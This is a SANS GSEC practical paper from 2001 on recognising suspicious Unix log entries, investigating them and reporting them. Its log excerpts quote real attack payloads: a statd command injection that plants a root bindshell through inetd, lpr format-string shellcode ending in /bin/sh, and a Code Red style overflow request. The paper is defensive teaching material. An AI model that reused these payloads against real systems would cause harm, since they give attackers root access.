SANS Institute
InfoSec Reading Room

Suspicious Unix Log File Entries and Reporting Considerations

In my Kickstart paper I covered basic Unix log files with a configuration file that gathered everything. I would like to expand on that and now cover messages found in those log files that would cause concern and require further investigation. My selection to continue on this subject lies in my inability to find comprehensive information that provides direction to administrators, particularly those in federal government, on what messages in log files could require critical attention and reporting.

Cathy Gresham
GSEC Practical Requirements (v.1.3) (December 2001)
Assignment: Research Important Security Issue

Citation of Sources
F-Secure Corp. - http://www.f-secure.com/v-descs/goner.shtml
Network Associates Inc./McAfee.com - http://vil.mcafee.com
Symantec Corp. - http://www.symantec.com
Trend Micro Inc. - http://www.antivirus.com
NIPC - http://www.nipc.gov/publications/publications
Infragard - http://www.infragard.net
Sam Spade - http://www.samspade.org
Office of Homeland Security - http://www.whitehouse.gov/homeland/
Inherent Information Survivability -
http://www.darpa.mil/ito/Proceedings/DARPA_Tech99/ITO-IIS.pdf
Defense Science Board Task Force - http://www.aci.net/kalliste/iwdmain.htm
Sun Managers List - http://marc.theaimsgroup.com
RFC Sourcebook - http://www.networksorcery.com/enp/default0302.htm
Solaris Exploits - http://www.insecure.org/sploits_solaris.html
Webopedia.com - http://www.webopedia.com/TERM/I/ICMP.html
Path MTU Discovery and Filtering ICMP - http://www.worldgate.com/~marcs/mtu/
ICMP - http://www.networkmagazine.com/article/NMG20000829S0003

Abstract
In my Kickstart paper I covered basic Unix log files with a configuration file that gathered everything. I would like to expand on that and now cover messages found in those log files that would cause concern and require further investigation. My selection to continue on this subject lies in my inability to find comprehensive information that provides direction to administrators, particularly those in federal government, on what messages in log files could require critical attention and reporting.

Main Text
Background
Federal government is now focusing attention on Homeland Security. This concept encompasses all aspects of cybersecurity, within federal government and across all computer systems providing services to the United States. It includes systems that provide utility services, hospital and emergency care services, telecommunications, transportation and supply services and many other services. The intent is to ensure our country is not susceptible to shutdown in times of national emergency by continuing essential services.

Unix system log files can be an indication of intrusion more critical than ever before. When information reported from local log files is fit into a bigger picture, including critical infrastructure systems as mentioned above, another picture could emerge that would indicate threats to national security. This is why it is always important to report system compromises.

Review
Log files configured in /etc/syslog.conf receive messages directed by the syslog daemon. The daemon starts during system initialization, from /etc/rc2.d/S74syslog. The script is read and initiates the syslog daemon. syslogd reads the /etc/syslog.conf configuration file, monitors the system and directs messages requested by the configuration file to the appropriate log file.

/var/log/syslog and /var/adm/messages continue to log information as long as the syslog daemon is running. They are activated and effected by settings in the /etc/syslog.conf file, however this file is not the only thing causing messages to write to these log files.

As you install software to a system, you can expect changes to /var/log/syslog and /var/adm/messages files. Knowing what to expect under normal circumstances will enable you to distinguish when system compromises have occurred. It's a good idea to become familiar with these log files by reviewing them daily. Now we take a look at messages in these log files that would not be considered normal and how to effectively respond.

Configuration
This is a simple syslog.conf configuration file that gathers information used in these examples:

```
mail.debug;                 /var/log/syslog
*.debug;mail.none;          /var/adm/messages
```

The first line sends all messages relating to the mail logging facility to /var/log/syslog. The second line sends all messages except messages relating to the mail logging facility to /var/log/syslog.

We know the default installation of tcp_wrappers sends messages to /var/log/syslog. We also know the unix kernel will send messages to /var/adm/messages. It is possible other installed software also sends messages to these files.

Connections
We look at the syslog file and see connections we recognize. Below we know DESKTOP is our personal system connecting to THIS_SYSTEM. We know SERVER sits beside THIS_SYSTEM in the computer room and people normally connect from SERVER to THIS_SYSTEM using telnet. DESKTOP and SERVER are configured for reverse lookup so we expect to see the system name instead of an ip address in this field. Everything below looks normal.

```
cat /var/log/syslog | grep -v mail
```

Jan 3 07:23:36 THIS_SYSTEM in.telnetd[18705]: connect from DESKTOP
Jan 3 09:03:58 THIS_SYSTEM in.telnetd[19033]: connect from SERVER
Jan 3 09:07:02 THIS_SYSTEM in.telnetd[19095]: connect from SERVER
Jan 3 09:08:30 THIS_SYSTEM in.telnetd[19275]: connect from DESKTOP

But one day we find this in /var/log/syslog:
cat /var/log/syslog | grep -v mail
Jan 7 13:36:16 THIS_SYSTEM in.telnetd[29466]: refused connect from 444.999.251.184
Jan 7 13:38:57 THIS_SYSTEM in.telnetd[29499]: refused connect from 444.999.251.184
Jan 7 13:39:44 THIS_SYSTEM in.telnetd[29503]: refused connect from 444.999.251.184

Is this a cause for concern? We recognize that the 444.999 network is not our own. Normally we expect incoming telnet connections to THIS_SYSTEM from only our local in-house network. Is this a security incident? Remember it's important to do your homework before sounding the alarm. It's a bad idea for an administrator to cry wolf too many times.

Lookup

First, let's see if we can find out what 444.999 network is at Sam Spade.org. Why Sam Spade.org? At Sam Spade, we can do a query of the unknown network address and receive a variety of information. (For other reasons why, please visit http://www.samspade.org/d/faq#websitewhy)

Below is the page of information Sam Spade provides when we query the address that was refused connection at THIS_SYSTEM.

dns 444.999.251.184
444.999.251.184 has no reverse DNS configured.

whois -h magic 444.999.251.184
Trying whois -h whois.arin.net 444.999.251.184

My Parent Organization (NET-PARENT-NET)
  Address
  City, State zip
  US

  Netname: PARENT-NET
  Netblock: 444.999.0.0 - 444.999.255.255

  Coordinator:
    Smith, John (JS99-ARIN) John.S.Smith@PARENT.COM

(333)777-0600 (FAX) (333)777-0603

Domain System inverse mapping provided by:
DOM1.PARENT.COM 444.999.81.18
DOM2.PARENT.COM 666.555.32.3
DOM3.PARENT.COM 999.111.123.245
DOM4.PARENT.COM 999.999.173.133

Record last updated on 09-Jan-2002.
Database last updated on 9-Jan-2002 19:56:19 EDT.

The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
Please use the whois server at rs.internic.net for DOMAIN related
Information and whois.nic.mil for NIPRNET Information.

traceroute 444.999.251.184

```
 3   999.777.117.161  5.842 ms   DNS error [AS2914] Verio
 4   222.555.29.126   3.51 ms    ge-6-2-0.r00.lsanca01.us.bb.verio.net [AS2914] Verio
 5   222.555.2.25     12.949 ms  p4-2-0-0.r01.snjsca03.us.bb.verio.net [AS2914] Verio
 6   222.555.2.62     18.652 ms  p16-3-0-0.r04.snjsca03.us.bb.verio.net [AS2914] Verio
 7   222.555.3.34     17.241 ms  p4-0-1-0.r00.scrmca01.us.bb.verio.net [AS2914] Verio
 8   222.555.9.98     17.486 ms  p4-0.uunet.scrmca01.us.bb.verio.net [AS2914] Verio
 9   555.666.53.6     16.802 ms  0.so-2-0-0.XL2.TGV1..NET [AS701] Alternet
10   555.666.54.10    18.903 ms  0.so-3-0-0.TL2.TGV1..NET [AS701] Alternet
11 * 555.666.19.170   100.686 ms 0.so-3-0-0.TL2.PXK6..NET [AS701] Alternet
12   555.666.38.74    133.5 ms   0.so-6-0-0.XL2.PXK6..NET [AS701] Alternet
13   555.666.35.117   125.203 ms 0.so-0-0-0.XR2.PXK6..NET [AS701] Alternet
14   555.666.33.62    133.146 ms 184.at-5-0-0.XR2.TCO1..NET [AS701] Alternet
15   777.333.35.222   114.683 ms parent-gw.customer..NET [AS701] Alternet
16   444.999.111.36   108.306 ms DNS error [AS6629/AS297] PARENT / SHARE
Internet
17   444.999.81.81    134.590 ms DNS error [AS6629/AS297] PARENT / SHARE
Internet
```

The above information tells us the following:
This system has no reverse DNS configured.

The address of the organization responsible for the block of IP addresses that contains the known address. I can see the organization responsible is the company that owns the company I work for. I know they distribute IP addresses nationwide for all their installations.

Name of person responsible for IP addresses in this block. I recognize the name of the Coordinator because I had to call him last week to request a fixed IP address.

Inverse mapping information. Again, I recognize these Internet addresses as belonging to the regional offices of my company.

Traceroute information. I can see the connection communicates across the Verio network. I know this is the network provider for my company. I know Alternet is part of the UUNet network and some of our routing often crosses this path.

By the above information we can determine the refused connection probably comes from somewhere within my company. I can contact my Network Administrator to determine who owns the 444.999.251 subnet. From there I can contact someone who can give me a better idea of who tried to make the connection. But, I still don't have enough information to determine if this is a hack attempt or hostile probe. I do know they did not connect to THIS_SYSTEM via telnet. The tcp_wrappers prevented this. This could be just a confused user trying to access the wrong system. Further investigation is needed to find out just what happened here and determine if reporting and further contact is necessary.

Here are some other examples of refused connections:
Oct 25 17:36:03 THIS_SYSTEM in.telnet[26016]: refused connect from 66.888.194.149
Nov 6 18:31:31 THIS_SYSTEM in.telnet[29397]: refused connect from 66.888.199.142
Nov 6 18:31:34 THIS_SYSTEM in.telnet[29398]: refused connect from 66.888.199.142
Nov 25 00:43:40 THIS_SYSTEM in.ftpd[3225]: refused connect from 89wetr0.efdv.state.nc.us
Nov 26 23:53:40 THIS_SYSTEM in.ftpd[3709]: refused connect from ISGasdf-505-1-6-111.abo.wanadoo.fr
Dec 27 09:43:18 THIS_SYSTEM in.telnet[29693]: refused connect from nixman.lkj.uva.es
Dec 28 13:48:27 THIS_SYSTEM in.ftpd[2679]: refused connect from 77.333.15.138
Dec 30 15:35:54 THIS_SYSTEM in.ftpd[4270]: refused connect from 44.22.60.2
Jan 3 16:23:49 THIS_SYSTEM in.telnet[22036]: refused connect from www.rtf-sna.net
Jan 6 16:27:59 THIS_SYSTEM in.ftpd[19622]: refused connect from pD5E5E5DC.pip.t-dialin.net

Refused connections should be investigated to help build firewall rules and reduce hostile probes in addition to accurate and effective reporting. Many refused connections will be hostile probes. Using the same method above, you can investigate these refused connections, build firewall rules to eliminate or reduce hostile probes and effectively report hostile probes to the proper organization. It is important to report the above refused connections so they can be compared with what other organizations are also reporting. We feel confident none of the above addresses come from our network. Before reporting be sure to check each address with Sam Spade.

Let's check 77.333.15.138 at Sam Spade:

whois -h magic 77.333.15.138
Trying whois -h whois.arin.net 77.333.15.138

European Regional Internet Registry/RIPE NCC (NETBLK-RIPE-C2)
These addresses have been further assigned to European users.
Contact info can be found in the RIPE database, via the
WHOIS and TELNET servers at whois.ripe.net, and at
http://www.ripe.net/perl/whois/
NL

Netname: RIPE-CBLK2
Netblock: 77.0.0.0 - 77.255.255.255
Maintainer: RIPE

Coordinator:
Reseaux IP European Network Co-ordination Centre Singel 258 (RIPE-NCC-ARIN) nicdb@RIPE.NET
+31 77 5334444

The above certainly isn't someone from my national organization. I must report this to my IT Security Officer so the information may be compared with information from other agencies, companies and bureaus. It will be determined at a higher level whether the information from my system log indicates anything critical. I will probably never know but, as System Administrator, I am certainly obligated to make the report.

Vulnerabilities

The Report of the Defense Science Board Task Force on Information Warfare sites the following vulnerabilities:

Human factors
- Information freely available
- Poor password choices
- Poor system configuration
-Vulnerability to "social engineering"

Authentication-based
- Password sniffing/cracking
-Social Engineering
-Via corrupted/trusted system

Data driven
-Directing E-mail to a program
-Embedded programming languages
Microsoft word macro
Postscript printer
-Remotely accessed software
JAVA, Active-X

Software-based

-Viruses
-Flaws
-Excess privileges
-Unused security features
-Trap doors
-Poor system configuration

Protocol-based

-Weak authentication
-Easily guessed sequence numbers
-Source routing of packets
-Unused header fields

Denials of service

-Network flooding
-"Spamming"
-Morris worm

Cryptosystem weakness

-Inadequate key size/characteristics
-Mathematical algorithm flaws

Key Management

-Deducing key
-Substituting key
-Intercepting key
-Setting key

Bypassing

-Capture data before encryption
-Turn off encryption
-Replay
-Denial of service

By recognizing the above vulnerabilities we gain a better insight as to what type of compromise could be expected from outsiders. Refused connections can be the start of a critical compromise that may be prevented. Patching is certainly a critical part of preventing compromise and reducing vulnerabilities. There is more we can do to protect systems.

Connections

From the above log file information, indicating refused connections you determined to be outside your organization, you could expect attempts on any of the above vulnerabilities. What information could you expect to be gained from refused connections? If it is a Sun system, you might see the following:

```
DESKTOP1 4# telnet THIS_SYSTEM
Trying 123.654.9.52...
Connected to THIS_SYSTEM.
Escape character is '^]'.
```

SunOS 5.8

NOTICE: You are connected to the Industry application on THIS_SYSTEM
login:

This is a lot of information from an attempted telnet session where login was not successful. The person attempting the login now knows THIS_SYSTEM is a Sun system, running version 5.8 operating system. They know the Industry application resides on THIS_SYSTEM.

The line NOTICE: is from the /etc/issue file. Each Sun operating system installs one of these files, with Sun information, in the operating system. Administrators often insert a custom message in this file. You must remove the file to eliminate information displayed between the operating system version and the login: prompt. Information found in /etc/issue could be the installed Sun file, or it could be a modified file similar to above that includes local information.

Operating system version is a standard system banner and is not held in a file. To eliminate this message you need a file for telnet connections in /etc/default - /etc/default/telnetd. In that file, create a line BANNER="" This will stop the operating system from displaying version at login attempts.

After making the above changes, you should see:
flounder 6# telnet THIS_SYSTEM
Trying 123.654.9.52...
Connected to THIS_SYSTEM.
Escape character is '^]'.
login:

This provides no more information to the outsider than they already know. The same method applies to ftp, however the /etc/issue file is of no consequence.

Before :

DESKTOP1 10# ftp THIS_SYSTEM
Connected to THIS_SYSTEM.
220 THIS_SYSTEM FTP server (SunOS 5.8) ready.
Name (THIS_SYSTEM:catsndogs):

After /etc/default/ftpd with BANNER=""

DESKTOP1 11# ftp THIS_SYSTEM
Connected to THIS_SYSTEM.
220 THIS_SYSTEM FTP server () ready.
Name (THIS_SYSTEM:catsndogs):

ICMP
What other information could refused login attempts provide? Along with displayed information above, network information could be passed in conjunction with the login attempt in the form of ICMP packets. This is something log files will not reflect.

ICMP (Internet Control Message Protocol) messages delivered in IP packets work with IP communications. They are used by Network Administrators to troubleshoot WAN or LAN network communications. These packets can be blocked at the local firewall because they can provide information to outsiders that could facilitate compromise, such as error reporting, flow control and first-hop gateway redirection. Some of the packets should not be blocked and can be expected to carry valuable information. Like the above examples with telnet and ftp, there is no need to provide unnecessary information such as operating system version or system platform.

This is a brief overview of some ICMP protocol messages. Hackers can use this ICMP information to facilitate attacks while remaining anonymous. For a complete ICMP message list, see the Appendix, compiled from: http://www.iana.org/assignments/icmp-parameters

ICMP Echo (Type 8) Incoming from Internet
ICMP Echo datagram determines whether a target IP address is active or not. If active, you would see ICMP Echo Reply (Type 0) outgoing, indicating the target is alive. This protocol type would be useful for network testing, such as ping, nmap, pinger, fping. It shouldn't be used at internet level and instead allowed only on intranet for local testing.

ICMP Time Stamp Request (Type 13) Incoming from Internet
ICMP Time Stamp Request and Reply allow a node to query another for the current time. This allows a sender to determine the amount of latency a particular network is experiencing. If active, you would see ICMP Time Stamp Reply (Type 14) outgoing, indicating the target is alive. This protocol type would be useful for network testing, such as icmpush. It shouldn't be used at Internet level and instead allowed only on intranet for local testing.

ICMP Information Request (Type 15) Incoming from Internet
ICMP Information Request/Reply pair was intended to support self-configuring systems such as diskless workstations at boot time, to allow them to discover their network address. If active, you would see Information Request Reply (Type 16) outgoing, indicating the target is alive. This protocol type would be useful for self-configuring systems such as diskless workstations and for tcpdump trace. RARP, BOOTP, and DHCP protocols provide better mechanisms for hosts to discover IP addresses and this mechanism is now obsolete.

ICMP Address Mask Request (Type 17) Incoming from Internet
ICMP Address Mask Request/Reply pair was intended to support self-configuring systems such as diskless workstations at boot time, to allow them to obtain a subnet mask in use on the local network at boot time. Address Mask Request is also used when a node

wants to know the address mask of an interface. These requests are usually answered by a gateway. If active, you would see Address Mask Request Reply (Type 18) outgoing, indicating the target is alive. This protocol type must be implemented on routers to identify routers along the path to the targeted network. It will reveal internal routers if this traffic is allowed to reach them. It should not forward an Address Mask Request to another network.

ICMP Destination Unreachable, Protocol (Type 3 - Code 2) Outgoing to Internet
If a certain protocol were not allowed through the filtering device you would not receive any ICMP error message from the probed machine. Probing for all combinations of protocols and ports against an IP range of a targeted network using non-valid and valid protocol values can determine the ACL a filtering device is forcing on the protected network, along with the topology map of a targeted network (hosts reachable from the Internet).

Back to Log Files
Given the above information, we can expect to eventually see an attack of some kind on our system. There will be an indication in the system log files, provided the configuration lines above are used, that this has occurred. Now, let's look at some suspicious log files messages.

First, let's look at what we might see if the statd buffer overflow is exploited. This could drop an intruder into the high-level bin login. The file they are exploiting is /usr/lib/nfs/statd. Permissions for this file are ownership bin and group bin, 555. Our log file might display something similar to the following, which definitely should be reported as a hack. It appears the hacker tries to create the file /tmp/.nfs09 and then tries to execute that file.

```
> > /var/adm/messages:Oct 27 14:06:18 THIS_SYSTEM statd[145]: attempt to create
> > "/var/statmon/sm//../../../../../../../../../../../../../../../../../../../../../. \
> > ./../../../../../../../../../../../../../../../../../../../../../../../../../.. \
> > /../../../../../../../../../../../../../../../../../../../../../../../../../../../ \
> > ../../../../../../../../..//../../../../../../../../../../../../../../../../../../../ \
> > ../../../../../../../../../../../../../../../../../../../../../../../../../../../. \
> > ./../../../../../../../../../../../../../../../../../../../../../../../../../../.. \
> > /../../../../../../../../../../../../../tmp/.nfs09   D   H   $   $ $ $
    \
> > `   O *   *   *   *   #   #         P *`   c 6)                    #
#    \
> > ; #          XbinXsh tirdwr                    " On a Solaris 5.8 machine:
> > /var/adm/messages:Oct 27 16:46:24 THIS_SYSTEM statd[131]: statd: open of
> > /var/statmon/sm//../../../../../../../../../../../../../../../../../../../../../.. \
> > /../../../../../../../../../../../../../../../../../../../../../../../../../../../ \
> > ../../../../../../../../../../../../../../../../../../../../../../../../../../../. \
> > ./../../../../../../../../..//../../../../../../../../../../../../../../../../../../../. \
> > ./../../../../../../../../../../../../../../../../../../../../../../../../../../.. \
```

> > /../ \
> > ../../../../../../.., error Invalid argument

Below is what might be seen if someone from the outside tries to exploit rpc.ttdbserverd. The file exploited is /usr/dt/bin/rpc.ttdbserverd and is linked to /usr/openwin/bin/rpc.ttdbserverd. Permissions are ownership root and group root, 775. This is not very secure and the file works just as well with permissions 555. Notice at the end of this hack attempt, the hacker tries to exploit the statd buffer overflow. The rpc.ttdbserverd portion of the attack appears to be searching for a mount point.

Nov 16 17:21:22 THIS_SYSTEM rpc.ttdbserverd[2006]:
_Tt_file_system::findBestMountPoint -- \ max_match_entry is null, aborting...
Nov 16 17:21:22 THIS_SYSTEM inetd[127]: /usr/dt/bin/rpc.ttdbserverd: Child Status Changed \ - core dumped
Nov 16 17:21:23 THIS_SYSTEM rpc.ttdbserverd[2007]: iserase(): 78
Nov 16 17:22:11 THIS_SYSTEM rpc.ttdbserverd[2007]:
_Tt_file_system::findBestMountPoint -- \ max_matc-_entry is null, aborting...
Nov 16 17:22:12 THIS_SYSTEM inetd[127]: /usr/dt/bin/rpc.ttdbserverd: Child Status Changed \ - core dumped
Nov 16 17:22:12 THIS_SYSTEM rpc.ttdbserverd[2008]:
_Tt_file_system::findBestMountPoint -- \ max_match_entry is null, aborting...
Nov 16 17:22:13 THIS_SYSTEM inetd[127]: /usr/dt/bin/rpc.ttdbserverd: Child Status Changed \ - core dumped
Nov 16 17:22:14 THIS_SYSTEM rpc.ttdbserverd[2009]: iserase(): 78
Nov 16 17:22:14 THIS_SYSTEM rpc.ttdbserverd[2009]: iserase(): 78
Nov 16 17:24:15 THIS_SYSTEM rpc.ttdbserverd[2009]:
_Tt_file_system::findBestMountPoint -- \ max_match_entry is null, aborting...
Nov 16 17:24:15 THIS_SYSTEM inetd[259]: /usr/dt/bin/rpc.ttdbserverd: Child Status Changed \ - core dumped
Nov 16 17:24:16 THIS_SYSTEM rpc.ttdbserverd[2010]: iserase(): 78
Nov 16 17:25:05 THIS_SYSTEM rpc.ttdbserverd[2010]:
_Tt_file_system::findBestMountPoint -- \ max_match_entry is null, aborting...
Nov 16 17:25:16 THIS_SYSTEM inetd[259]: /usr/dt/bin/rpc.ttdbserverd: Child Status Changed \ - core dumped
Nov 16 17:25:17 THIS_SYSTEM rpc.ttdbserverd[2025]:
_Tt_file_system::findBestMountPoint -- \ max_match_entry is null, aborting...
Nov 16 17:25:18 THIS_SYSTEM inetd[259]: /usr/dt/bin/rpc.ttdbserverd: Child Status Changed \ - core dumped
Nov 16 17:25:18 THIS_SYSTEM rpc.ttdbserverd[2035]: iserase(): 78
Nov 16 17:40:21 THIS_SYSTEM statd[312]: attempt to create "/var/statmon/sm/; echo \ "ingreslock stream tcp nowait root /bin/sh sh -i" >>/tmp/tim ; /usr/sbin/inetd -s \ /tmp/tim &"
Nov 16 17:40:21 THIS_SYSTEM statd[312]: attempt to create "/var/statmon/sm/; echo \ "ingreslock stream tcp nowait root /bin/sh sh -i" >>/tmp/tim ; /usr/sbin/inetd -s \ /tmp/tim &"

Nov 16 17:41:11 THIS_SYSTEM statd[312]: attempt to create "/var/statmon/sm/; echo \
"ingreslock stream tcp nowait root /bin/sh sh -i" >>/tmp/tim ; /usr/sbin/inetd -s \ /tmp/tim
&"
Nov 16 17:41:12 THIS_SYSTEM last message repeated 3 times
Nov 16 18:06:28 THIS_SYSTEM statd[312]: attempt to create "/var/statmon/sm/; echo \
" ingreslock stream tcp nowait root /bin/sh sh -i" >>/tmp/tim ; /usr/sbin/inetd -s \ /tmp/tim
&"
Nov 16 18:08:38 THIS_SYSTEM last message repeated 5 times

In the above statd attempts, the hacker tries to create /var/statmon/sm. This file is a standard system directory that would hold a file that would list hosts to be contacted after a reboot. A file named /tmp/tim is created with a line that starts an interactive bourne shell. Please compare this line: **ingreslock stream tcp nowait root /bin/sh sh -i** with lines in your /etc/inetd.conf file. inetd is started, running an interactive shell process with root permission from the file /tmp/tim. If successful, this will give the hacker root access to THIS_SYSTEM.

We just reviewed two different hack attempts, one on /usr/dt/bin/rpc.ttdbserverd, which is linked to /usr/openwin/bin/rpc.ttdbserverd having permissions of ownership root and group root, 775. The other was on /usr/lib/nfs/statd with permissions of ownership bin and group bin, 555. Which of these two attacks, if successful, would give the attacker greater access? rpc.ttdbserverd because of ownership root. This is the level of access that would be gained if this daemon was successfully attacked. Permissions are of no consequence to the successful attacker. Login level would be root for rpc.ttdbserverd, bin for /usr/lib/nfs/statd, if the successful attack occurred.

Next is an attempt to crash the rpcbind daemon. We see the refused connect and know to lookup the IP address associated with this. Rpcbind was finally crashed or stopped. Information on this was sent through the mail (mail.warning, mail.error, mail.info) error group and we should expect this to be found in the /var/log/syslog file. This is something that should be reported, especially since the refused connections tried to do dump.

Jan 29 08:40:05 THIS_SYSTEM rpcbind: [ID 884469 mail.warning] refused connect
from 999.122.111.252 to dump()
Jan 29 08:41:09 THIS_SYSTEM rpcbind: [ID 884469 mail.warning] refused connect
from 999.122.111.252 to dump()
Jan 29 08:49:38 THIS_SYSTEM rpcbind: [ID 884469 mail.warning] refused connect
from 999.122.111.252 to dump()
Jan 30 18:14:32 THIS_SYSTEM rpcbind: [ID 564060 mail.error] rpcbind
terminating on signal. Restart with "rpcbind -w"

This is a hack attempt on the lpr daemon through the bsd-gw process. Again, the hacker is trying to exploit a buffer overflow and gain shell access. Notice /bin/sh at the end of the error line. Code between request (66) and /bin/sh is the code that is trying to overflow the buffer. Notice how it changes in subsequent lines. You could expect to find many of these errors in your log files, or only one. This could be prevented with

tcp_wrappers, unless it is coming from an authorized user. Regardless, this should be reported as a hack attempt.

Jun 2 07:05:36 THIS_SYSTEM bsd-gw[7192]: [ID 315218 lpr.error] Invalid protocol request (66):
BBB\232\242\230\250XXXXXXXXXXXXXXXXXX%.156u%300$n%.21u%301$nsecurity%302$n%.192u%303$n11\2201F1f1\220C]oC]\223KM\201M\2231\220E\223Cf]\215f\200E\214'MdE\215Eo\222E\201M\223ECCEC\2171\220\375?UA^u1FE\370\242MU/bin/sh

Jun 2 07:05:57 THIS_SYSTEM bsd-gw[7194]: [ID 315218 lpr.error] Invalid protocol request (66):
BBBH\244\230\250I\244\230\250J\244\230\250K\244\230\250XXXXXXXXXXXXXXXXsecurity%300$n%.167u%301$nsecurity.i%302$n%.192u%303$n11\2201F1f1\220C]oC]\223KM\201M\2231\220E\223Cf]\215f\200E\214'MdE\215Eo\222E\201M\223ECCEC\2171\220\375?UA^u1FE\370\242MU/bin/sh

Jun 2 07:17:03 THIS_SYSTEM bsd-gw[7413]: [ID 315218 lpr.error] Invalid protocol request (66):
BBB<=>?XXXXXXXXXXXXXXXXXX%.252u%300$n%.192u%301$n%.254u%302$n%.192u%303$n11\2201F1f1\220C]oC]\223KM\201M\2231\220E\223Cf]\215f\200E\214'MdE\215Eo\222E\201M\223ECCEC\2171\220\375?UA^u1FE\370\242MU/bin/sh

Jun 2 07:17:14 THIS_SYSTEM bsd-gw[7417]: [ID 315218 lpr.error] Invalid protocol request (66): BBB,-
/XXXXXXXXXXXXXXXXXX%.236u%300$n%.208u%301$n%.254u%302$n%.192u%303$n11\2201F1f1\220C]oC]\223KM\201M\2231\220E\223Cf]\215f\200E\214'MdE\215Eo\222E\201M\223ECCEC\2171\220\375?UA^u1FE\370\242MU/bin/sh

Jun 7 14:34:52 THIS_SYSTEM bsd-gw[14702]: [ID 315218 lpr.error] Invalid protocol request (66):
BBBXXXXXXXXXXXXXXXXX%.156u%300$n%.21u%301$nsecurity%302$n%.192u%303$n111F1f1C]C]KMM1ECf]fE'MEEEMCCC1?A^u1FEMU/bin/sh

Jun 7 14:34:53 THIS_SYSTEM bsd-gw[14703]: [ID 315218 lpr.error] Invalid protocol request (66):
BBB()*+XXXXXXXXXXXXXXXXXX%.232u%300$n%.199u%301$nsecurity.i%302$n%.192u%303$n111F1f1C]C]KMM1ECf]fE'MEEEMCCC1?A^u1FEMU/bin/sh

Jun 7 14:35:00 THIS_SYSTEM bsd-gw[14714]: [ID 315218 lpr.error] Invalid protocol request (66):
BBBXXXXXXXXXXXXXXXXX%.160u%300$n%.29u%301$n%.253u%302$n%.192u%303$n111F1f1C]C]KMM1ECf]fE'MEEEMCCC1?A^u1FEMU/bin/sh

Jun 7 14:35:00 THIS_SYSTEM bsd-gw[14715]: [ID 315218 lpr.error] Invalid protocol request (66):
BBBXXXXXXXXXXXXXXXXX%.156u%300$n%.33u%X01$n%.253u%302$n%.192u%303$n111F1f1C]C]KMM1ECf]fE'MEEEMCCC1?A^u1FEMU/bin/sh

Jun 7 14:35:53 THIS_SYSTEM bsd-gw[28720]: [ID 315218 lpr.error] Invalid protocol request (66):
BBBXXXXXXXXXXXXXXXXX%.156u%300$n%.21u%301$nsecurity%302$n%.192u%303$n111F1f1C]C]KMM1ECf]fE'MEEEMCCC1?A^u1FEMU/bin/sh

Jun 7 14:35:54 THIS_SYSTEM bsd-gw[28721]: [ID 315218 lpr.error] Invalid protocol request (66):

BBB()*+XXXXXXXXXXXXXXXXXX%.232u%300$n%.199u%301$nsecurity.i%302
$n%.192u%303$n111F1f1C]C]KMM1ECf]fE'MEEEMCCC1?A^u1FEMU/bin/sh

Other Files
Above messages were all found in either /var/adm/messages or /var/log/syslog. Be aware these are not the only files that hold these types of errors. Every software installation can have it's own separate error log. Each application can have it's own separate error log. Hack attempts can be found in any of the log files and all should be monitored closely.

Here is an attempt to hack an Oracle application, logged to the Oracle xlf.log file:

888.222.78.11 - - [28/May/2001:08:43:53 -0400] "GET /default.ida?XXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucb
d3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u
8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 99

This is similar to the above bsd-gw/lpr attack, and is not normally seen in the xlf.log file. Code beyond the XXX's is trying to overflow a buffer. Network Administration determined this could have something to do with the Code Red attacks. This entry was reported as a hack attempt. The IP address on the first line was unknown and found, through Sam Spade, to belong to an Asian block.

Summary
It is important to determine what log files should be reviewed on a per system basis. Each system could have a different set of log files, based on operating system, software and applications.

Hack attempts occur regularly. Even if they are not successful, it is important to report all attempts to the appropriate organization. These attempts could provide useful information in the scope of national cybersecurity.

There are many vulnerabilities in any network and system. It is important to minimize information disclosure at every level possible.

Always investigate strange entries in system log files. Lookup IP entries, contact users and administrators, research on the Internet. Check system logins to compare times with strange log file entries. A thorough investigation will create a more complete report. The complete report can help identify the indications and warnings needed to anticipate, detect, and characterize attacks on national information infrastructure.

Hack attempts have no specific pattern. Only by becoming familiar with system log files will you, as System Administrator, be able to determine if a system compromise has occurred.

Appendix - ICMP Table

This table was compiled from resources referenced above, on the Internet, and below.

ICMP TYPE NUMBERS, RETURN CODES AND REFERENCE

Type	Name	Reference	Codes
0	Echo Reply	[RFC792]	0 No Code
1,2,7	**Unassigned**	[JBP]	

3	Destination Unreachable	[RFC792]	0 Net Unreachable 1 Host Unreachable **2** Protocol Unreachable 3 Port Unreachable 4 Fragmentation Needed and Don't Fragment was Set 5 Source Route Failed 6 Destination Network Unknown 7 Destination Host Unknown **Reserved for US Military Use** **8 Source Host Isolated** **9 Communication with Destination Network is Administratively Prohibited** **10 Communication with Destination Host is Administratively Prohibited** 11 Destination Network Unreachable for Type of Service 12 Destination Host Unreachable for Type of Service 13 Communication Administratively Prohibited [RFC1812] 14 Host Precedence Violation [RFC1812] 15 Precedence cutoff in effect [RFC1812]

4	Source Quench	[RFC792]	0 No Code
5	Redirect	[RFC792]	0 Redirect Datagram for the Network (or subnet) 1 Redirect Datagram for the Host 2 Redirect Datagram for the Type of Service and Network 3 Redirect Datagram for the Type of Service and Host
6	Alternate Host Address	[JBP]	0 Alternate Address for Host
8	Echo	[RFC792]	0 No Code
9	Router Advertisement	[RFC1256]	0 No Code
10	Router Solicitation	[RFC1256]	0 No Code
11	Time Exceeded	[RFC792]	0 Time to Live exceeded in Transit 1 Fragment Reassembly Time Exceeded
12	Parameter Problem	[RFC792]	0 Pointer indicates the error 1 Missing a Required Option [RFC1108] 2 Bad Length
13	Timestamp	[RFC792]	0 No Code
14	Timestamp Reply	[RFC792]	0 No Code
15	Information Request	[RFC792]	0 No Code
16	Information Reply	[RFC792]	0 No Code
17	Address Mask Request	[RFC950]	0 No Code
18	Address Mask Reply	[RFC950]	0 No Code

19	**Reserved (Security)**	[Solo]	
20-29	**Reserved (Robustness Experiment)**	[ZSu]	
30	Traceroute	[RFC1393]	0 Outbound Packet successfully forwarded. 1 No route for Outbound Packet. The packet was discarded.
